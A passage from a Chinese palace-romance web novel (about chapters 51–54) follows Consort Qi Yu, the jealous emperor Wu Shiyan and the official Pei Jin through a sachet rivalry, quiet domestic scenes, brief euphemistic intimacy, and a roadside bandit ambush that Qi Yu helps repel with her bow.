他倾身:“朕奔波一路,还未好好用过什么东西。” 戚妤暗自警惕,伸手摸了摸乌时晏的脸颊。 乌时晏脸上露出满足,随即下床离开。 直到佩玖过来,戚妤才从方才乌时晏的主动低头中回过神。 这次好像和上次不一样,这次的乌时晏从里到外都温和了不少。 佩玖见床上未乱,娘娘也没有哭过的痕迹,心下稍定。 “娘娘,奴婢为您梳头。” 戚妤眨了眨眼,对佩玖露出笑颜,坐在了铜镜前的小圆凳上。 晚膳是田文善去厨房盯着的,戚妤落座后发现都是她爱吃的,有几道做起来还颇为麻烦,只有专门为乌时晏做菜的那位御厨能做出来。 不难猜出,他们是将厨子也一并带来了。 乌时晏自然而然地为戚妤布膳,戚妤早已习惯,在这点上乌时晏很合她的心意。 夜色渐深,乌时晏留了下来。 戚妤躺在床里,不是很困,忽然,身旁的乌时晏侧身,伸出胳膊将她抱住了。 戚妤推他:“陛下?” 乌时晏低声道:“朕太想你了,让朕好好抱抱。” 末了,乌时晏又与她耳鬓厮磨,似念似叹道:“阿妤——” 戚妤也不由面对着乌时晏,见他没有下一步,便也松了推他的力道,像是蜷在他怀里。 困意袭来,戚妤枕着乌时晏的胳膊睡熟了过去。 听到戚妤平稳的呼吸声,乌时晏睁开了眼。 看着戚妤近在眼前的恬静睡颜,他不禁笑起来,阿妤还没有与他生分。 思及此,乌时晏将人搂的更紧了,直到戚妤微微蹙眉,他这才连忙放松了。 另一边,从戚妤与乌时晏离去,田文善便将裴谨请走了,由他们带来的御医医治。 裴谨不惧恢复记忆,他从不觉得他会放弃戚妤。 御医用银针在他脑袋上扎了十几针,一旁的田文善都看的胆寒不已,偏偏裴谨这个只有一段记忆的人镇定极了。 御医额头上渐渐布了一层汗,他收回手道:“大概两三天,裴大人就能恢复记忆了,在这两天,可能会有头痛,老夫再开几贴药,裴大人看着喝,头不痛不必喝,头痛的厉害再喝。” 田文善一一将其记下。 片刻后,御医将银针拔下才随宫人离开。 田文善道:“裴大人,您好好歇歇,奴才先告退了。” 在陛下还未降下旨意前,裴大人还是能不得罪就不得罪。 谁能想到,裴大人的母亲是反王——也就是齐王另一个流落在民间的女儿,由其商贾出身的母亲抚养长大,后来遇见了裴谨的父亲,两人便走到了一起。 但是从裴谨母亲出生,就不知道这一层身世,可见其无辜。后来她与裴谨父亲相识,五年前裴父裴母在军营内逝去,当时陛下都为之感到悲痛,对裴谨多有重用。 彼时齐王兵败如山倒,齐王残留的部下那时还是股不可小觑的势力,凭借着在各府都有暗钉,频频制造混乱。 而裴谨也是那时知道真相,接过了反王余孽递来的权柄,想暗暗将他们拔除。 齐王对自己非常之狠,反王余孽选首领自然要按照齐王的标准来选,譬如通过百次药浴,喝下数不清的药来让身体百毒不侵,其中不乏毒药毒物,一旦把控不好,就会疾病缠身。 裴谨接受了下来,并且成功了,他一边在这股势力中排除异己,收拢权柄,一边除去最让朝臣头疼的人物。 因而,反王余孽的势力短短几年内衰减了很多,人手严重不足。 今年七月,陛下将裴大人贬官地方,裴大人动作大了许多,直接暴露了出来,被反王余孽疯狂反扑。 若非裴大人早有防备,只怕命都要没有了。 裴大人立下如此功劳,陛下未必会杀他,若要杀他,便不会在贵妃面前与裴大人废话。 田文善离开后,裴谨便拿出了香包放在鼻尖轻嗅,而后看了又看- 戚妤这两日,吃的好睡的好,唯独一点不好,就是乌时晏时时都要跟在她身边。 便是她去看裴谨,乌时晏也跟着,只是事后总免不了吃醋。 冷冰冰的一个人往她身边一立,任何人都要退避三舍了。 自然一些流言也因乌时晏的举止而彻底销声匿迹,毕竟除了陛下到的那日,裴大人与贵妃素日里的来往并不密。 裴谨恢复记忆后,戚妤很快便收到了消息,乌时晏在她身边,闻言很是平静。 戚妤下意识起身,心中忐忑不已。 短短几日,她和裴谨的情谊其实并不坚固,只要裴谨不认,顷刻便有破碎的风险。 不过想了想,戚妤便释然了,若她是裴谨,不认下与当朝贵妃的感情才是最稳妥的。 如果裴谨这样做,她不会怪他,只是蘅芜院的事注定不能见光了。 乌时晏执起戚妤的手道:“阿妤,裴大人恢复记忆,我们理应去探望一番。” 此时外面风和日丽,正是上午不热的时候,戚妤点了点头。 她低头看了自己穿的还算妥帖,便未再换衣。 抵达裴谨住处的时候,裴谨正站在窗边,不知在看什么。 他的眼睛清明了许多,身上少了病弱之气,多了份聪慧睿智的正直感,阳光洒在他身上,直让人看的心生暖意。 戚妤在来的途中已经扒开了乌时晏的手,对乌时晏不满的怨怼也视若无睹。 她以平常心欣赏了一番裴谨的模样。 裴谨不意外见到他们二人,他唇边含着一抹苦涩,陛下这般与戚妤形影不离,何尝不是在给他警告。 “微臣参见陛下、贵妃娘娘。” 戚妤听他的语气便知道与失忆时不同了,内心隐隐失落,但更多的是茫然。 裴谨低头继续道:“微臣前些日子失忆劳烦贵妃娘娘照拂,微臣此番虽经太医之手恢复记忆,但对于失忆后的记忆却记不得了,问了照料微臣的宫人才明白是娘娘救了微臣的命。娘娘救命之恩,微臣无以为报,若是娘娘有用得上微臣的地方,请娘娘尽管开口吩咐。” 乌时晏松开紧锁的眉头,笑起来:“爱卿不必多礼,是爱卿为黎明百姓办了不少实事,上天才如此庇佑你。” 别人叫裴大人那是尊称,乌时晏叫裴大人那就是刺耳的嘲讽了。 可以看出乌时晏现在心情很好。 “既然爱卿无碍,反王余孽又在几日前被铲除干净,爱卿可尽快归京了。” 乌时晏握住戚妤的手,这时戚妤也忘了抽走,尽便宜了他。 让裴谨回京,这是他们之前便谈好的。 他不会告诉戚妤,当初在蘅芜院裴谨早在最初便知晓了她的身份,只是佯装不知,累得她兢兢业业在假扮裴夫人。 裴谨也需如约告知戚妤,他与戚妤的事都不做数,自此桥归桥路归路。 裴谨答应了下来,只是没想到,会用再失忆的法子来淡化这件事。 戚妤忽然开口:“臣妾想与裴大人单独谈一谈。” 她有点难受,那个失忆的裴谨随风散了,亦有些不甘心。 至少把送出去的东西要回来。 再让裴谨留着也没什么意义。 乌时晏握紧了戚妤的手,不由紧张起来:“阿妤,我们回去。” 裴谨适时开口:“不知贵妃娘娘想对微臣交代什么,微臣洗耳恭听。” 乌时晏当然知道裴谨是想要与戚妤独处,但这可不行,万一其中一人失控,消息一对,他成了那个破坏他们的恶人怎么办? ——虽然他本来就是。 乌时晏对戚妤笑中带着委屈道:“有什么是朕不可以听的?” “陛下当然可以听。”戚妤眨掉眼中不知何时蓄出的水雾。 她抬头,冲裴谨伸手道:“裴大人,你身上有只香包,那香包现在于你无用,将香包还给本宫。” 乌时晏表情一僵,什么香包,阿妤都没特意送给他什么。 裴谨从怀里掏出香包,迟疑道:“贵妃娘娘说的是这只吗?” 戚妤点头。 裴谨笑道:“若是这只,请恕微臣不能从命,这是微臣藏在怀里的东西,虽然微臣不知道它是怎样到微臣手中的,但能这样放,一定对微臣很重要。” “微臣已经失了一段很珍贵的记忆,不能再失去这个珍之重之的香包,不过微臣可以另择一件礼物还给娘娘。” 戚妤唇角不禁翘起。 乌时晏冷冷道:“爱卿家中还有一位妻子,死里逃生不妨为妻子择几件礼物。” 戚妤即便知道内情,方才的喜悦还是缓缓降了下来。 裴谨浅笑:“陛下说的极是,微臣自知出京后会遭追杀,提前便将夫人安顿好了,尤记得在京中时夫人会给微臣背文章,会把第一个绣成的荷包送给微臣,会不忍微臣睡榻而允许微臣……陛下、娘娘,微臣说的有些多了。” 戚妤:“……” 乌时晏的关注点则有些偏:“你为什么会睡榻?” 裴谨目光落在了戚妤身上一瞬:“惹夫人生气了。” 第52章 乌时晏直觉这厮有古怪, 但当务之急是要回香包,不能让裴谨装傻充愣地混淆过去。 乌时晏颇有深意道:“香包于爱卿无用,还是尽早还回来为好。” 裴谨摸着香包,神色不明。 戚妤道:“这香包不过是从外面买回来的样式, 装了庭院里的秋海棠和一些异香, 没什么稀奇, 那日见裴大人受脑疾所扰, 便赠了出去。既然裴大人用着还好, 便自己处理即可。” “不过是一个无足轻重的小玩意儿, 裴大人用珍重这般的词太过严重了。” 乌时晏了然:“原来如此。” 他勾了勾戚妤的小拇指:“阿妤回去后也赠朕一个可好?” 戚妤没应声, 裴谨太过气定神闲,她看不出裴谨是不是真的失了与她相处的这段记忆,还是说只是托词,让双方面上都过得去, 正如乌时晏所说,裴谨碍于种种, 陷入抉择时并不会选她。 乌时晏…… 戚妤有些怀疑乌时晏是不是跟裴谨说了什么。 毕竟乌时晏心黑也不是一日两日了。 但想了想, 这两日乌时晏几乎是寸步不离她, 许是真有这么巧合的事。 裴谨将香包小心收起来, 他曾陪戚妤绣过荷包,怎会认错她的手艺。 但听到戚妤的话, 他还是升起了一股失落。 然而归根结底,这一切不是他咎由自取吗? 他怕戚妤知道他曾经骗过她, 只好再次用谎言遮掩, 应了陛下的条件,他想等回京再徐徐图之。 乌时晏与裴谨无声对视了一眼,便立刻错开了视线, 又不约而同将目光落在了戚妤身上。 他们二人,心眼一个赛一个的多。 戚妤眸底清亮地看向裴谨:“裴大人,不知道本宫能否再喝一杯你泡的茶?” 裴谨的心弦霎那间被触动,他几乎要控住不住自己略显狼狈地避开戚妤的目光。 她是那样的坦荡……裴谨堪堪稳住神情:“自是可以。” 三人就这样坐在了茶室。 裴谨的动作还是那般行云流水,戚妤看着裴谨的手,心底划过一丝怅然。 乌时晏早已从宫人口中知道,戚妤和裴谨前几天是如何相处的,喝茶下棋,钓鱼闲谈,两人之间从没有红过脸。 更让乌时晏在意的是,那日下雨,戚妤呆在裴谨房内的那半日。 乌时晏察觉到戚妤目光中一划而过的遗憾,心里生出一股喜意,他强压嘴角才没暴露。 他知道,一旦喝过这杯茶,戚妤就真的要放下了。 她不喜欢强留人。 但裴谨,不懂这个道理啊。 裴谨将第一杯茶放在了戚妤面前,他心乱了,按照常理,第一杯茶应该给陛下才对。 可他不想,他已经退了一步了,不想在这些小事上一退再退。 乌时晏屈指在桌上敲了敲。 裴谨才将第二杯茶奉在乌时晏面前。 乌时晏似笑非笑道:“爱卿知晓礼数。” 他觉得他今天已经很礼让裴谨了,想必戚妤对他的印象颇好。 裴谨温润如风,他如何装也装不出来,但不仍是要为他们奉茶? 裴谨只是会沏茶罢了,坐在戚妤身边的人,是他。 裴谨淡淡道:“这是微臣的本分。” 戚妤端起茶杯喝了一口:“裴大人的手艺还是一如既往的好。” 裴谨露出妥帖笑意:“娘娘谬赞。” 戚妤垂眸,不再去看他。 一盏茶的功夫很快就过去了,等要离开时,戚妤也没再看裴谨一眼。 戚妤从裴谨身旁离开,她的衣袖从裴谨眼底划过,但这一次,裴谨只能克制住自己,而不是像之前一样已经伸出了手,意欲挽留。 走回房内的路对戚妤来说比以往都要漫长。 她亦沉默的厉害,时刻注意着她的乌时晏察觉到了,但他实在按耐不住心底的愉悦之情,再是克制,也不禁流露出了些。 两相对比,更衬得乌时晏心情明媚。 戚妤没理乌时晏,等回到房内后,她便径直朝床榻走了过去。 她想一个人静静。 此时的乌时晏很不识趣,示意宫人出去后便跟了上来。 戚妤伸出手碰到脸上,摸到一片水痕,才发现自己竟然哭了。 她眨了眨眼,因为泪水不多,视线并未模糊,只眼睫上沾了些泪珠。 戚妤看着柔软奢华的拔步床,阳光从窗棂撒入,更添了几分温暖。 她不由默默地想,她只是可惜裴谨这样温柔的人罢了,任谁失去一个男伴,也会失落,也会落几滴泪,实乃人之常情。 她心里没有波动才奇怪。 只是她那日刚对乌时晏说过她喜欢裴谨,今天便发生了这样的乌龙事,使得她在乌时晏面前有些抹不开面子。 乌时晏见戚妤愣在原地,便扶着她的背,与她一同倒在了床上,愉悦地把玩着她的手指。 忽然,乌时晏发现戚妤眼眶红红的,心中不由一沉,他用指腹抹过戚妤的眼尾。 “阿妤,你看,他不值得,忘了他。” 戚妤蹙眉看向乌时晏,忍无可忍的出声:“你很高兴?” 乌时晏一顿,目光凝在戚妤脸上,谨慎地点了点头。 他不该高兴吗? “朕想把你抱起来转几圈。”乌时晏忍俊不禁道。 见乌时晏这般嚣张,戚妤原本已经没了的泪意瞬间袭来,她鼻子一酸,眼眶中多了一层亮晶晶的水光,紧接着,泪水斜着滑过脸庞,戚妤用手遮面,搭在眼上。 哭红了的脸与她白皙的手形成了鲜明对比。 泪珠在她的下颌线如断了线的珠子滴落,却仿佛滴在乌时晏心里。 他握住戚妤遮面的手,倾身靠近,将戚妤滴下的泪珠在舌尖抿没。 戚妤闭上眼,想缓解这种情绪,乌时晏取得了前所未有的大胜利,她心里不爽。 哪知乌时晏又靠了过来,这次仿佛没了克制般贴得极近。 意识到他做了什么,戚妤放下了手,泪水涟涟地看着他,似在控诉。 乌时晏带着蜜意道:“阿妤,你唯有朕了。” 戚妤什么都不懂,初入宫连字都写不好,因而才被裴谨引诱。 孩子心性的人,做事出格实在不必苛责。 他会严防死守住裴谨,让裴谨即便在京中,也无接触戚妤的机会。 上次宫道上的纰漏乌时晏不允许再发生,但他又不想让戚妤觉得受到了限制,行踪时刻被人掌握他自己都不能接受,更遑论去委屈戚妤了,左右她身边时刻都有暗卫……林七。 暗卫素来处在暗处,但一定在主子附近,主子一天喝了几杯水可能丫鬟都不太清楚,但一名合格的暗卫绝对清楚。 那林七自然也清楚戚妤与裴谨的事。 乌时晏心里有了计较。 知情不报暂且不论,但知道了这件事,这个人就不能留了。 乌时晏亲吻戚妤的面颊:“朕给你换个暗卫。” 戚妤不懂乌时晏为什么思维跳跃的这么快,她才不是唯有乌时晏,而后听到事关林七,她甚至忘了反驳前一句,当即明确且清晰道:“臣妾只要这个暗卫。” 戚妤缓了缓,便意识到乌时晏为什么想换掉林七。 原因不做他想。 她道:“是臣妾吩咐她守口如瓶。” 但乌时晏对林七实在如鲠在喉:“那朕再给阿妤分一个女暗卫,或者阿妤去挑一个。” 只要林七在她身边便好,戚妤松懈下来:“陛下决定就好。” 一番闲谈,戚妤除了整张脸像水洗过一样,方才的情绪已经淡去,她后知后觉的感到丢脸。 她居然在乌时晏面前哭了,还是因为这么一件小事。 乌时晏目光落在戚妤粉白的脸庞上,他看着她湿了的眼睫,被润洗的乌黑发亮的眼眸,心底便有一股火缓缓升了起来。 他又想起,戚妤在裴谨屋内久待就差不多是这个时辰,他的眼眸不禁变得幽深。 乌时晏起身,用木几上晾凉的水冲了手,再次贴在戚妤身边,他低声唤道:“阿妤。” 戚妤有些困,他们是面向床外的,乌时晏将她带倒到床榻上时一点都不讲究。 他的下巴落在她的肩膀,呼吸喷薄在她脸颊上。 但乌时晏迟迟没有动作,这使她放低了戒心,直至乌时晏轻声念她的名字,手掌向下探去,她才反应过来他要干什么。 而此时,床幔都没放下。 宫人离开时,也只是将门虚掩。 即便戚妤知道宫人不会无故进来,可还是不由抓住了乌时晏的衣襟,整个人也彻底清醒了。 乌时晏贴了下她的唇,带着委屈道:“很久没有了。” 此时已经不是戚妤能拒绝的了,因为乌时晏早已先发制人,在与乌时晏的唇分开后,戚妤便受不住的轻声喘息,身子蜷起,乌时晏眼底清明的蹭着她的脸颊。 一切就是这样的水到渠成。 因是白日,所以只有一次。 事了,戚妤已经无法直视乌时晏的手了,胡乱地睡了过去。 只留乌时晏心满意酣,让人送来了水,他把帕子打湿,挽起袖子,给戚妤擦身。 戚妤这一觉睡到了日暮,她醒来时正被裹在乌时晏怀里,浑身干爽。 她看向乌时晏。 乌时晏似乎没了正事,整日与她在一起消磨时间,同时不见田文善着急。 大抵大事在来宅子前解决了,特意空出了几天时间来解决裴谨被追杀的事。 现在裴谨既已恢复记忆,想必很快就会离开。 戚妤看向床幔,她不想再念裴谨了,没有缘分,强求不得。 至于乌时晏,自然是过一天看一天,谁知道哪天他便“旧疾复发”了,实在倚靠不得。 许是在心里说了乌时晏的坏话,乌时晏醒了过来,脸上露出笑意,他摸了摸她的脸颊,捏了捏她脸颊上的软肉。 戚妤气鼓鼓地起身了。 宫人听到吩咐声,推门走了进来。 因时辰比较晚,戚妤穿的很是简便,从屏风后出来,她便发现桌子上摆了两个托盘的香包。 乌时晏从她身后过来:“朕让人去附近城内将所有香包买了回来,却没有阿妤随手送的那只青松样式的香包,阿妤,那样的香包,朕也想要。” 他没想过是戚妤亲自绣的,只以为是戚妤吩咐宫人绣的。 他想要,只是嫉妒心作祟,裴谨怎么能拥有那个唯一呢? 戚妤看着这些香包,想都没想道:“那是臣妾绣的,您也见了,绣技拙劣粗糙,实在不配挂在陛下腰间。” 乌时晏不知该恨裴谨能得戚妤真心相待,还是该高兴他身上也会有戚妤亲自绣的东西了。 他道:“朕不要青松了,朕要阿妤重新绣一只,阿妤你说,绣什么好?” 既是阿妤绣的,那便不能一模一样了。 裴谨在阿妤心中是青松,那他呢? 戚妤看向乌时晏,带着捉弄道:“顽石。” “绣顽石最好。” 为什么他是路边最寻常的石头……乌时晏有些沉郁,但见戚妤的模样,他灵光一闪,而后无奈看着她,脸上不禁笑了起来。 她是在嫌他身上硬啊。 第53章 乌时晏浑身都邦邦硬, 他不是顽石是什么? 不对,戚妤心想,他除了嘴唇还有一处是软的,简直软的邪乎。 乌时晏一旦拉着她的手往他胸上放, 她大部分情况下就没招了。 晚膳他们在庭院里用的烤鱼, 是乌时晏提前让人安排的。 乌时晏早知戚妤和裴谨前几日一同钓鱼烤鱼, 他来得晚, 没赶上, 却不能让戚妤想起鱼就想起裴谨。 月色很美, 天上繁星点点。 乌时晏挽起袖子帮戚妤将刺挑走, 然后才放在她面前。 戚妤谢过后,便埋头苦吃了。 她压根没往那方面想,只以为乌时晏是山珍海味吃腻了,想换换口味。 品尝过烤鱼后, 戚妤净过手刚站定,乌时晏便握上了她的腰。 乌时晏今日穿了件玄色的鹤氅, 更衬得他身形高大, 不怒自威。 他贴近问:“阿妤想上屋顶看天穹吗?” 戚妤眼睛一亮, 点了点头。 下一瞬, 只见乌时晏往屋顶方向望了一眼,便带着她飞了上去。 真的是飞, 戚妤难掩心中的震惊,她都没舍得眨眼, 脚下悬空了一瞬, 就稳当地踩在了瓦片上。 乌时晏不愧是武夫,带她都能轻而易举跳上一层楼的高度。 戚妤紧紧抱着乌时晏的胳膊,在心中激动道。 她在乌时晏身边坐下, 好奇地四处张望,然后才仰头看向天空。 乌时晏将鹤氅铺在她身后,戚妤虽未真正躺下,但支在身后的手却不再觉得瓦片冰凉硌手了。 庭院内的宫人各自散去,只留下几名值守的宫人。 因两人都不困,初时便显得神采奕奕。 但宅子依山,平日就很清凉,更不必说现在是晚上,夜风一吹,更让人觉得冷瑟了。 偏偏戚妤以为用过晚膳便会回房内,穿的简便的同时,也单薄了些。 渐渐地,戚妤觉得有些冷,便往乌时晏身边靠了靠。 幸而,乌时晏的毒解了,他的气势冷,但人却热的很。 至于乌时晏情不情愿,戚妤是不管的。 虽然已经过了八月十五,但今天的月亮格外的圆,戚妤不舍得这么早离开。 一开始,戚妤还是靠在乌时晏身上用他挡风,慢慢地,她的手伸进了乌时晏的衣裳夹层中,隔着薄薄一层里衣感受他热烘烘的身体,接着手便不老实的轻捏了两下,最后,戚妤的头都埋进了乌时晏怀里。 她困意起来了,忘了叫乌时晏带她下去,只紧贴着唯一的热源。 而乌时晏,自始至终都很从容不迫,直至戚妤犯困,他的得意才从唇畔的那丝笑中显露出来。 他扣紧戚妤的腰,又赏了会儿月,等戚妤真的睡着,他才抱着人下去,进入屋内。 将戚妤放到床上,乌时晏本想帮戚妤将衣裳换下。 不知多少个夜里他帮累极了的戚妤换衣,他知道如何做才能不惊醒戚妤。 但刚解下腰带,他的目光便凝在了戚妤衣襟微敞,而露出的白腻锁骨上。 他的视线顺延往下。 顿觉口干舌燥。 眼眸也变得幽微难测。 乌时晏陷入了天人交战,经过漫长的抉择,最终私欲更胜一筹,占了上风。 …… 戚妤半梦半醒间只觉自己被狼叼住了,那头狼渐渐幻化成乌时晏的模样,跟她探讨着食欲,梦里的她说不过狡猾刁钻的乌时晏,只一个劲儿顺着他的思路走。 醒来后,戚妤一阵扼腕,她怎么能说不过乌时晏呢。 梦境慢慢模糊,戚妤心底留着一股气,她忽觉得身体的变化很不对劲,便掀开衣襟看了一眼,更气了。 什么食欲,明明是乌时晏不干人事。 戚妤将乌时晏搭在她身上的胳膊移开,她伸手捏住乌时晏的脸颊,往两边扯。 乌时晏原还想看看戚妤的反应,再做打算,现在却是不得不醒了。 戚妤冷哼着松了手。 乌时晏顾不得揉脸,他将手握在被衾下戚妤穿着衣裙的腰肢上,目光认真,但语气却是理所当然道:“朕只是饿了,才失了风范。” “阿妤疼疼朕。” 戚妤脸庞红的几欲滴血。 她更气了,却与乌时晏争辩不得,他是皇帝,多说无益,只会让他占尽便宜。 怨不得梦里觉得乌时晏狡猾,偏还说不过她。 戚妤重新躺下,背过身,开始想裴谨。 乌时晏陪戚妤赖了会儿床,这才一起起身。 上午,戚妤和乌时晏坐在一起下棋。 乌时晏是个世俗意义上的天才,失忆的裴谨和对棋没什么研究的戚妤都不能与之相比。 戚妤不知道乌时晏在搞什么,顺意坐下后,她被乌时晏杀了个片甲不留。 呵。 再跟他玩她是狗。 乌时晏亦行云流水泡了茶,体贴地放在戚妤手边:“如何?” 戚妤品尝过后,淡淡道:“很出色。” 她仍沉浸在方才的对弈中,带了点小情绪。 乌时晏没忍住,又要装作不在意,轻描淡写问:“比之裴谨如何?” “裴大人……”戚妤正大光明地陷入了某种思绪。 乌时晏握住戚妤的手:“不必思索了。” 他不比还不行吗? 总之,乌时晏要与戚妤做一遍她和裴谨做过的事,以此来覆盖裴谨留下的痕迹。 戚妤喝着茶,后知后觉意识到乌时晏的用意。 这个幼稚鬼。 但乌时晏实在不必担心她和裴谨。 下次见面他们只会身份分明,况且一个在宫中,一个在宫外,很难遇见了。 戚妤看着乌时晏,乌时晏是一道好菜,浓油赤酱,但时而,也需要一碗甜羹调剂。 不然这道菜,也不觉得美味了。 戚妤不想和乌时晏玩这无聊的游戏,借口要给乌时晏绣香包,便让他去忙正事,不必打扰她。 乌时晏先前的辛劳不是没有用,他原想着为之后空出时间,带戚妤在民间好好逛一逛。 现下他则没什么事,但仍听话的离开了。 乌时晏志满意得,他去见了裴谨。 自然是炫耀他与戚妤下棋品茶,吃鱼赏月,他们之前做的不外如是。 “阿妤连提起爱卿都没有,即便朕主动谈及,阿妤也毫不在意。” 乌时晏意在警告裴谨他不过是戚妤的一时兴起,一段极为寻常的风花雪月,即便裴谨早早有了心思又如何,在戚妤心中,他无足轻重。 裴谨目光淡淡,只恭敬道:“多谢陛下亲自来告诉微臣了。” 他不会蠢到去信陛下口中的话,但却会为有人陪戚妤做他们曾经做过的事而伤神。 见裴谨不爽,乌时晏便觉得畅快,他并未久留,只道:“爱卿能力不凡,回京后身上的担子就更重了。” 既然留着裴谨,打压永远是最下乘的做法。 合该让裴谨尽职尽责,忙到连旁的心思都生不出来。 裴谨谢恩后恭送乌时晏离开,此时见陛下来而退出去的丫鬟也进来了。 “东西送出去了吗?” 丫鬟道:“大人,已经送到贵人手中了。” 裴谨用的是宅中原本的下人,昨日他便马不停蹄出府,去附近的城中拿着凭证取出了数十只玉镯,让丫鬟看他手势行事,在乌时晏来时,全送了过去。 单送一只戚妤许是觉得这会与他有牵扯,但送的多了,便没了这层顾虑,只会觉得裴府家大业大,连谢礼都如此不俗,而后捡了喜欢的戴上。 但陛下若在,只会坏了他的好事。 故意摔碎最好的那只都是寻常事,因而他特意寻陛下不在戚妤身边时送去。 裴谨想过陛下会在气势上打压他,试图断了他的念想,却不成想第二日便来找他炫耀了。 这何尝不是在说,戚妤其实也在念着他。 以至于让陛下倍感紧迫,紧迫到纡尊降贵警告他一个小小臣子。 另一边,戚妤见到玉镯后,便挑了一只,而后让人将剩下的收起来。 送来的玉镯每只都价值不菲,她留下的一只是颜色分布均匀、色彩明亮的帝王绿,配什么衣裳都好看。 这只镯子戚妤见到的第一眼便喜欢上了,拿在手中看了又看,这才让佩玖帮她戴到手腕上。 她的镯子也不少,但少有能让她这么喜欢的,短时间内,应该不会喜新厌旧。 戚妤今天穿的是青色衣裙,衣摆腰身上绣的是不出错的瑞纹,通身没什么配饰,素的雅致,而配上这只镯子,非但没破坏原本的气质,还平添了几分高雅。 戚妤满意极了,开始给乌时晏绣香包。 她没想诓乌时晏,给每个人都绣了,只不给乌时晏也不好,毕竟自穿越后没吃过苦,仰仗的还是乌时晏。 只是因为不急,她用了三天才绣好。 但慢工出细活,这只也是她觉得最好的一个。 做成后,戚妤找来御医让他配了安神的香,另挑了院中的其他花放了进去。 期间,乌时晏对着她腕上的玉镯小发雷霆,被戚妤误以为是不喜裴谨送来的东西,即便是裴谨的赔礼也不行。 乌时晏见戚妤真的喜欢,只得紧皱眉头许诺道:“回宫朕给你更好的。” 戚妤欣然应下,许是到那时,她就不喜欢手上这个了,届时再换下来她也不会不舍。 乌时晏对戚妤绣的香包是真的喜欢,到他手中后,他便挂在了腰上,行走间举步生风,平添了几分意气风发。 绣好了香包,他们便准备启程,去往行宫。 路上会用时两天。 乌时晏在前面骑着马,戚妤的马车在中间,裴谨的马车则在后面,他一个文臣,自然跟着天子行走最为稳妥。 乌时晏不好显得太苛责,戚妤问过了田文善,便如此敲定。 裴谨身上可还带着伤。 因为再没碰过面,戚妤不知道裴谨腰腹的伤是否好全,便让人在他马车上多放了软枕。 第一日上午风平浪静,下午路过一座山时,忽然从山上冲下来不少匪徒,一个个油光满面,持着刀棍,拦路抢劫。 这是把他们当成富商来劫掠了。 有乌时晏和侍卫在,戚妤没什么好担心的,从马车上走了下来。 裴谨也离开马车朝她赶了过来,他凝重道:“娘娘小心,微臣愿护娘娘周全。” 他君子六艺中骑射次次都是第一。 宫人将戚妤的弓箭拿来。 戚妤看也未看裴谨,弯弓搭箭对准山中藏着的人,此时,她的耳畔只余虫鸣鸟叫声。 呼吸声太乱,她只觉得冲下来的山匪人数不对,但看了两眼,她确信山中还藏着约莫一半的人。 见乌时晏砍瓜切菜般稳住局面,林中的匪徒沉不住气,为首的大汉暴露了出来。 戚妤目光一凝,当即松手,利箭破空而出,射中了大汉的肩膀,那大汉正欲举石往下砸,中箭后身体不稳,旋即被手中举着的大石带着滚落了下来。 动静一大,乌时晏那边便发觉了。 他当即挥手让暗卫从后方包抄。 戚妤放下了弓,不再射箭,她准头不差,可也没法保证不射中自己人。 因而方才她才没对准乌时晏的方向。 被误会弑君就不好了。 在裴谨眼中,此时的戚妤连发丝都在发着光,她眼眸明亮,神情淡然中带着胸有成竹的自信。 她今日穿了身黛色衣裙,只比乌时晏的玄色略浅,一别平日喜好鲜亮色彩的服饰,但她长的好,无论穿什么都好看,她不但撑起了深色衣裳,且更显得沉静自若,眉间气宇不凡。 裴谨看痴了一瞬,连忙敛目。 他如何没意识到戚妤对他的忽视态度,但却一丝怨念也无。 这实在是他自己作孽,戚妤不理他才是应当的。 第54章 乌时晏并未耽误多长时间, 就将匪徒拿下了。 他朝戚妤走来,原本冷漠的脸庞变得柔软起来,尤其在发现即便裴谨站在戚妤身旁,戚妤也不带看他一眼时, 更是不可自抑地露出了愉悦神情。 戚妤边询问乌时晏:“陛下可有受伤?”, 边将乌时晏上上下下看了个遍。 直至听到他那声“并未”后, 这才放心。 乌时晏拉着了戚妤, 不许她再动。 裴谨道:“娘娘方才那一箭射的果断, 微臣不能及也。” 不知是不是戚妤的错觉, 她总觉得裴谨落在她身上的目光时间有些长了。 原来注意力全在她射箭上吗? 乌时晏自裴谨开口就很不悦。 她的阿妤哪需要他来夸?分明是另有所图。 “多亏阿妤, 不然朕也无法如此顺利将人拿下。” 跟在乌时晏身后的田文善不见谄媚,他的脸色比主子的还要铁青,气愤的胸膛起伏不定:“真是无法无天,拦路抢劫不说, 还胆敢在山上设埋伏。” 万一阴沟里翻船,陛下有个三长两短, 好不容易安定的天下又该动荡了。 戚妤看向山路, 目光忧愁:“就是不知还会不会遇上匪寇。” 可还有一天的路程。 乌时晏来时是骑马奔驰而过, 又带着佩剑的侍卫, 自然无人敢招惹,但回的时候, 显得有些慢悠悠,不慌不忙地, 侍卫也只做寻常打扮。 这才被当成了肥羊。 乌时晏声音沉稳, 即便不刻意也很让人信服:“朕方才命人问过领头的匪徒了,附近只有这山上的金蟾寨,拦路抢劫的人便是寨中的主力了, 山上唯余些老弱妇孺。朕已经让人快马通知附近的父母官,不久后就会有官员带着兵吏过来处理安置这些人。” 旋即,他沉吟着:“裴谨,朕给你留四个侍卫,你留下处理此事,事后再快马跟上。” 裴谨正欲拱手称是,戚妤却是说:“裴大人身上有伤。” 裴谨伤的是腰腹,不宜骑马。 乌时晏的忘性不至于这么大,且身边又不是无人可用,只能是刻意为之,至于为了什么,戚妤一想就明白了。 她觉得乌时晏不够大度。 当然,这种话她只会在心里想想。 裴谨以拳抵唇,笑了笑,因为压制不住笑意,反而闷咳了几声。 乌时晏怏怏不乐,这都多久了还记得,不必瞧裴谨,都知道他在暗暗得意。 乌时晏伸手抚过腰上的香包,勾起唇角道:“朕晨起时昏昏沉沉,多亏了阿妤给朕准备的安神的香,嗅到这个味道朕便好多了。” 陛下是天子,裴谨从不去窥探陛下又有了什么。 只是当下,他想不注意到都难。 自然也清楚陛下看似在炫耀安神香,实则在显摆戚妤绣的香包。 戚妤的女红更精湛了,裴谨却是心道,陛下与赵婉仪都只有一个,他有两个。 他袖中一个,怀里一个。 等到了京中,不在陛下面前晃,他就戴在腰上。 因而虽然艳羡,裴谨却知道自己得到的最多。 戚妤好像明白了乌时晏幼稚的心思,温声体贴道:“陛下既然头脑昏沉,哪能骑马,不如与臣妾一同乘坐马车?” 乌时晏满意了,但却未开口改变意思。 戚妤见此只得满是为难的看向田文善,眉头轻蹙,微然一笑。 田文善心中瞬间警铃大作,贵妃这是要他开口接下这桩事。 陛下自然不可能收回命令,贵妃又觉得裴大人身上有伤不妥,看来看去,只有他最合适。 不过想了想,他接下这桩事好像不麻烦,既能避开陛下与裴大人的角逐,又能与贵妃交好。 何乐而不为? 